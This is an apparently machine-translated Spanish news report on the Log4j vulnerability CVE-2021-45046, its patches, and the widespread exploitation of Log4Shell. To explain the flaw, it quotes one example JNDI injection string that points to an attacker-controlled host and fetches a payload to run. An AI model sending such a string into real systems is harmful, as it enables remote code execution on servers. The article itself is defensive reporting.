ACTUALIZACIONES – La puntuación de gravedad de CVE-2021-45046, originalmente clasificada como un error de DoS, se ha revisado desde 3.7 a 9.0 para reflejar el hecho de que un atacante podría aprovechar la vulnerabilidad para enviar una cadena especialmente diseñada que conduzca a una «fuga de información». «y ejecución remota de código en algunos entornos y ejecución de código local en todos los entornos».

Apache Software Foundation (ASF) ha lanzado un nuevo parche para la herramienta de registro Log4j después de un parche anterior para recientemente lanzado Log4Shell el exploit se consideró «incompleto en determinadas configuraciones no predeterminadas».

La segunda vulnerabilidad, rastreada como CVE-2021-45046, tiene una calificación de 3.7 sobre un máximo de 10 en el sistema de calificación CVSS y afecta a todas las versiones de Log4j desde 2.0-beta9 hasta 2.12.1 y 2.13.0 a 2.15.0 , que fueron enviados por los administradores del proyecto la semana pasada para abordar una vulnerabilidad crítica de ejecución remota de código (CVE-2021-44228) que podría explotarse para infiltrarse y apoderarse de los sistemas.

El parche incompleto para CVE-2021-44228 podría explotarse para «crear datos de entrada maliciosos utilizando un patrón de búsqueda JNDI que conduciría a un ataque de denegación de servicio (DoS)», dijo la ASF en una nueva recomendación. Además, la última versión de Log4j, 2.16.0 (para usuarios que requieren Java 8 o posterior), elimina el soporte de recuperación de mensajes y deshabilita JNDI de forma predeterminada, que es el núcleo de la vulnerabilidad. Se recomienda a los usuarios que requieran Java 7 que actualicen a Log4j 2.12.2 a medida que esté disponible.

«El manejo de CVE-2021-44228 ha demostrado que JNDI tiene importantes problemas de seguridad», explicó Ralph Goers de ASF. «Aunque hemos mitigado lo que sabemos, sería más seguro para los usuarios desactivarlo por completo de forma predeterminada, especialmente cuando es poco probable que la gran mayoría lo use».

JNDI, abreviatura de Java Naming and Directory Interface, es una API de Java que permite que las aplicaciones codificadas por programación busquen datos y recursos, como servidores LDAP. Log4Shell reside en la biblioteca Log4j, un marco de registro de código abierto basado en Java que comúnmente se integra en los servidores web Apache.

El problema en sí ocurre cuando el componente JNDI del conector LDAP se usa para insertar una solicitud LDAP maliciosa, algo como «$ {jndi: ldap: // attacker_controled_website / payload_to_be_executed}», que es cuando se inicia sesión en un servidor web con un versión de la biblioteca, permite a un atacante obtener carga útil de un dominio remoto y ejecutarlo localmente.

La última actualización llega en un momento en que la falla del error resultó en una «pandemia cibernética real», con varios actores de amenazas que se apoderaron de Log4Shell de manera que sentó las bases para nuevos ataques, incluido el despliegue de monedas, troyanos de acceso remoto y ransomware en máquinas sensibles. Según los informes, las intrusiones oportunistas comenzaron al menos el 1 de diciembre, aunque el error se hizo ampliamente conocido el 9 de diciembre.

La falla de seguridad ha causado una alarma general porque existe en un marco de registro casi omnipresente en las aplicaciones Java, proporcionando una puerta de enlace sin precedentes para que los jugadores equivocados se infiltran y comprometan millones de dispositivos en todo el mundo.

Otro problema para las organizaciones, un error de explotación remota también afecta a cientos de productos empresariales importantes de varias empresas como Akamai, Amazon, Apache, Apereo, Atlassian, Broadcom, Cisco, Cloudera, ConnectWise, Debian, Docker, Fortinet, Google, IBM. , Intel, Juniper Networks, Microsoft, Okta, Oracle, Red Hat, SolarWinds, SonicWall, Splunk, Ubuntu, VMware, Zscaler y Zoho, que representan un riesgo significativo para la cadena de suministro de software.

«A diferencia de otros ciberataques importantes, que involucran uno o un número limitado de software, Log4j está integrado en prácticamente todos los productos o servicios web basados ​​en Java. Es muy difícil de solucionar manualmente», dijo la compañía de seguridad israelí Check Point. «Parece que esta vulnerabilidad, debido a la complejidad de la reparación y la fácil explotación, permanecerá con nosotros durante muchos años a menos que las empresas y los servicios tomen medidas inmediatas para prevenir ataques a sus productos mediante la implementación de protección».

En los días transcurridos desde que se descubrió el error, al menos diez grupos diferentes se han unido a un tren explotado, y alrededor del 44% de las redes corporativas en todo el mundo ya han sido atacadas, lo que significa una escalada significativa de este tipo. Además, las bandas criminales que actúan como intermediarios de acceso han comenzado a explotar esta vulnerabilidad para ganar una posición inicial en las redes objetivo y luego vender el acceso a los afiliados de ransomware como servicio (RaaS).

También incluye actores estatales de China, Irán, Corea del Norte y Turquía, y Microsoft señaló que «la actividad abarca desde la experimentación durante el desarrollo, la integración de vulnerabilidades hasta el despliegue en la naturaleza y la explotación contra los objetivos para lograr los objetivos del actor».

Los extensos errores de ejecución remota de código han llevado a la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) a agregar Log4Shell a su catálogo de exploits conocidos, dando a las agencias federales una fecha límite del 24 de diciembre para incluir correcciones de vulnerabilidades y llamar a los proveedores. para «identificar, mitigar y reparar inmediatamente los productos afectados mediante Log4j».

Sean Gallagher, investigador jefe de amenazas en Sophos, advirtió que «es probable que los adversarios obtengan tanto acceso a cualquier cosa que puedan obtener ahora mismo para monetizar y / o ganar dinero más tarde», agregó. Vulnerabilidades de Log4Shell.

«La prioridad más urgente de los defensores es reducir la exposición reparando y mitigando todos los rincones de su infraestructura y examinando los sistemas identificados y potencialmente comprometidos. Esta vulnerabilidad puede estar en todas partes», agregó Gallagher.